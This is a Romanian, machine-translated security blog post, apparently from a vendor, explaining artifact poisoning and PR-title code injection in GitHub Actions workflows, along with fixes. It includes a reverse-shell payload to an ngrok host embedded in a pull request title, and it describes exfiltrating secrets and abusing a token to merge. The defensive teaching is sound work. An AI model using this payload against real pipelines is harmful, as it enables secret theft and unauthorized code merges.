CICD-Pipelines

O scufundare profundă în CI/CD PipelineVulnerabilități (III): Intoxicație cu artefacte și injectare de cod

În postările anterioare (vezi Indirect otrăvit Pipeline Execuție I-PPE și Otrăvit Pipeline EIP de execuție , ne-am ocupat în principal de EIP (Echipament de protecție individuală) Pipeline Execuție): am văzut cum funcționează, efectele sale, unele exploatări, precum și câteva modalități de protecție împotriva acesteia. 

Această postare analizează în profunzime alte aspecte CI/CD pipeline vulnerabilități precum otrăvirea artefactelor și injecția de cod. 

Pentru a face acest lucru, ne vom baza cumva pe EIP, așa că haideți să facem un scurt rezumat a ceea ce am văzut despre EIP.

Lucrări anterioare privind EIP-urile

Pe scurt, am început cu un GitHub de bază pipeline să construiască și să testeze cod contribuit printr-un pull requestÎn plus, definește niște verificări care, dacă sunt îndeplinite, vor integra codul în ramura principală. Am numit aceasta astfel: Scenariul #1.

CI/CD-Pipelines

În postarea noastră anterioară, am demonstrat cum această metodă de bază pipeline a fost vulnerabil atât la D-PPE, cât și la I-PPE.

Am reușit să reparați D-PPE by modificarea evenimentului declanșator de la cerere_de_tragere la cerere_de_tragere_țintă, făcând pipeline sigur pentru D-PPE. Ca un memento, pipelines declanșat la un eveniment pull_request_target va executa comanda de bază pipeline codul, nu pipeline codul conținut în pull request. 

Am numit asta ca Scenariul #2.

CI/CD-Pipelines-Scenariul-2-al-Vulnerabilităților

Ca urmare a acestei modificări, am demonstrat că Scenariul nr. 2 era încă vulnerabil la I-PPE. 

Ca să rezolvăm asta, am decis a împărți pipeline în două:

  • Primul 1 pipeline (Construiește CI) ar verifică codul PR (pentru a-l construi), realizează construcția și generează un artefact.
  • 2nd pipeline (Test CI) ar Verificați codul de bază (pentru a evita modificarea scriptului shell) și executați scripturile originale împotriva artefactului. 
  • Pentru a sincroniza CI-ul de test pipeline să ruleze DUPĂ CI-ul de construcție pipeline, vom folosi execuție_flux_de_trebuire declanșator. 

Am numit asta ca Scenariul #3.

CI/CD-Pipelines-Scenariul-3-al-Vulnerabilităților

Să recuperăm codul ambelor pipelineconform acestor modificări…

1 pipeline (Construcție CI):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2 pipeline (Indicele de încredere al testului):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

Intoxicație cu artefacte

Conform celor de mai sus CI/CD pipelines:

  • pipeline Construiește CI is sigur ambilor D-PPE (din cauza cerere_de_tragere_țintă) Şi I-PPE (deoarece nu mai execută scriptul shell).
  • pipeline Test CI De asemenea, este sigur ambilor D-PPE (din cauza execuție_flux_de_trebuire) Şi I-PPE (deoarece verifică codul de bază pentru a obține scriptul shell original) 

Să analizăm în profunzime această „soluție”.

Pipeline Test CI descarcă artefactul ca fișier zip.

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

Odată dezarhivat, execută scriptul shell „sigur”. De ce spun scriptul shell „sigur”? Deoarece într-un pas anterior, pipeline verifică codul „de bază”, astfel încât scriptul original este plasat în folderul spațiului de lucru. Prin urmare, atunci când pipeline execută scriptul shell pe care îl va rula folosind fișierul binar descărcat anterior.

Atunci, ce este problemă cu această abordare? Problema apare când orice utilizator „creează” o nouă pipeline. 

Dacă un utilizator deschide un PR care conține un nou pipeline, GitHub va executa asta pipeline  (dată fiind anumite condiții, așa cum am văzut în exemplul anterior) post).

Având în vedere acest lucru, ce se întâmplă dacă utilizatorul creează o nouă pipeline cu același nume ca Build CI? Da, este surprinzător, dar GitHub vă permite să creați două pipelinecu același nume!!

Rețineți că Test CI se va executa după Build CI…

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

Surprinzător, pentru că acum există două pipelinecu același nume, pipeline Testul CI se va executa de două ori: unul după original pipeline și altele după „nou” pipeline.

Cum poate hackerul să profite de asta? 

  • În primul rând, utilizatorul rău intenționat poate modifica scriptul shell pentru a trimite secretul către serverul controlat de hackeri.
  • În al doilea rând, noul pipeline include o linie pentru a copia scriptul shell modificat în artefact → otrăvirea artefactuluict!!!

Când utilizatorul deschide un PR cu aceste modificări, secțiunea „nouă” pipeline va fi executat (încărcarea unui artefact otrăvit) și CI-ul Deploy pipeline va fi executat după aceea, rezultând Scriptul shell „modificat” suprascrie scriptul shell „original” situat în pipeline spațiu de lucru.

CI/CD-PipelineVulnerabilități s

Aceasta este ceea ce numim noi Intoxicație cu artefacte, adică capacitatea de a modifica (hacka) pipeline logica prin modificarea unei pipeline artefact. 

Unul posibil remedierea este destul de simplu: simpla dezarhivare a artefactului într-un subfolder al spațiului de lucru ar evita suprascrierea scriptului shell „de bază”. 

Injectarea codului

Pe lângă otrăvirea cu artefacte, puteți observa vreo altă vulnerabilitate în codul de mai sus?

Sa mergem!!

După cum puteți vedea în cod, pipeline Build CI construiește fișierul binar, îl încarcă ca fișier pipeline artefact și, în plus, încarcă câteva date suplimentare: titlul PR și ID-ul PR.

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

De ce? Pentru că, pentru a îmbina PR-ul, după cum puteți vedea mai jos, CI-ul de test pipeline are nevoie de ID-ul PR pentru a invoca API-ul REST GitHub care îmbină PR-ul. 

Cum funcționează Test CI pipeline obținerea acelui ID PR? Partajarea informațiilor în fișiere text (parte a unui pipeline artefact) este o modalitate comună de a partaja informații între pipelines. Și exact asta înseamnă acestea pipelinefac.

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

Strict vorbind, este necesar doar ID-ul PR pentru a îmbina PR-ul, dar pipeline Administratorul a decis ca Build CI să includă și titlul PR, astfel încât Test CI să fie inclus. pipeline ar imprima un mesaj informativ care conține atât ID-ul PR, cât și titlul.

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

Titlul PR este întotdeauna format din date care provin de la utilizator și, ca atare, trebuie considerat întotdeauna ca nefiind de încredere.. Asa ca pipeline trebuie să manipuleze ca atare și să ia măsuri de protecție.

În codul de mai sus, putem vedea mesajul specific care reflectă titlul PR. Este doar o comandă Linux „echo”.

Prin interpolare de șiruri de caractere, dacă titlul este „un titlu fictiv”, Github generează intern un script care conține

				
					echo ""a dummy title""
				
			

Dar ce-ar fi dacă titlul PR-ului ar fi ceva de genul:

„Titlu rău intenționat” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

Scenariul ar deveni:

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

Rezultă în deschiderea unui shell invers împotriva serverului controlat de hackeri.

CI/CD-Pipelines

Acea shell inversă ar putea fi utilizată pentru a accesa pipeline secrete (rețineți că Test CI rulează în modul privilegiat deoarece este declanșat de workflow_run, deci are acces la secrete).

Dar ce altceva se poate face prin acea cochilie inversă? 

Uită-te la codul de test CI:

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

După cum puteți vedea în Test CI pipeline, comanda curl merge folosește GITHUB_PAT (definit ca un pipeline variabilă de mediu), deci rulatorul conține GITHUB_PAT ca variabilă de mediu. Mai mult, creează și o variabilă de mediu care citește ID-ul PR. 

Deci, hackerul trebuie doar să copieze comanda curl și să o lipească în shell-ul invers, integrând PR-ul direct în ramura protejată.

injecție de cod

Pentru a proteja de toate acestea:

  • La evita interpolare de șiruri cu date nesigure (vulnerabilă la injectarea codului) de definire pipeline variabile de mediu în loc să îl folosească direct în comenzile echo

În loc să folosești:

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Foloseste asta:

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • Chiar și cu exploatarea injecției de cod, comanda curl merge nu ar fi reușit dacă ai fi procedat corect. ți-a protejat pull requests printr-o revizuire sau aprobare obligatorie. 

Concluzii

E cumva dificil de protejat CI/CD pipelineconfigurația s și obțineți pipelineeste lipsit de vulnerabilități.

Asta nu înseamnă asta CI/CD sistemele (cum ar fi GitHub în acest caz) sunt vulnerabile în sine. CI/CD Sistemele oferă mijloacele de protecție împotriva vulnerabilităților... dar este responsabilitatea administratorului să implementeze aceste protecții.

Dar… Nu poți rezolva o vulnerabilitate decât dacă ești conștient de existența ei!!!

Desigur, un administrator Devops cu înaltă calificare poate avea în minte toate aceste amenințări și le poate proteja corespunzător. CI/CD pipelines, dar, chiar și așa, este foarte valoros să se utilizeze un produs pentru a detecta toate aceste tipuri de vulnerabilități. Și, bineînțeles, pentru a automatiza acest proces de reținere a vulnerabilităților (de exemplu, rularea scanării ca parte a CI/CD pipelinee).

Această abordare ar putea fi numită „Poartă de securitate": 

  • Creaza un nou pipeline (Poarta de Securitate) pentru a verifica CI/CD pipelinevulnerabilitățile și fac ca celălalt CI pipelinesă se execute numai după finalizarea cu succes a Porții de Securitate pipeline.
  • Poarta de Securitate pipelines va verifica pentru CI/CD pipelinevulnerabilitățile și, 
    • Dacă se găsesc vulnerabilități, va eșua și, prin urmare, cealaltă pipelinenu vor fi executate. 
    • Dacă nu se găsesc vulnerabilități, pipeline va reuși și celălalt pipelines se va executa ca de obicei.
CI/CD-Securitate

Otrăvit Pipeline Execuție (EIP)

O scufundare profundă în CI/CD PipelineVulnerabilități (I)

Indirect otrăvit Pipeline Execuție (I-PPE)

O scufundare profundă în CI/CD PipelineVulnerabilități (II)

Protecția împotriva otrăvirii artefactelor prin atestări software

O scufundare profundă în CI/CD PipelineVulnerabilități (IV)
sca-tools-software-instrumente-de-analiză-a-compoziției
Prioritizați, remediați și securizați riscurile software
Obține-ți contul gratuit.
Nu este necesar un card de credit.

Securizează-ți dezvoltarea și livrarea de software

cu suita de produse Xygeni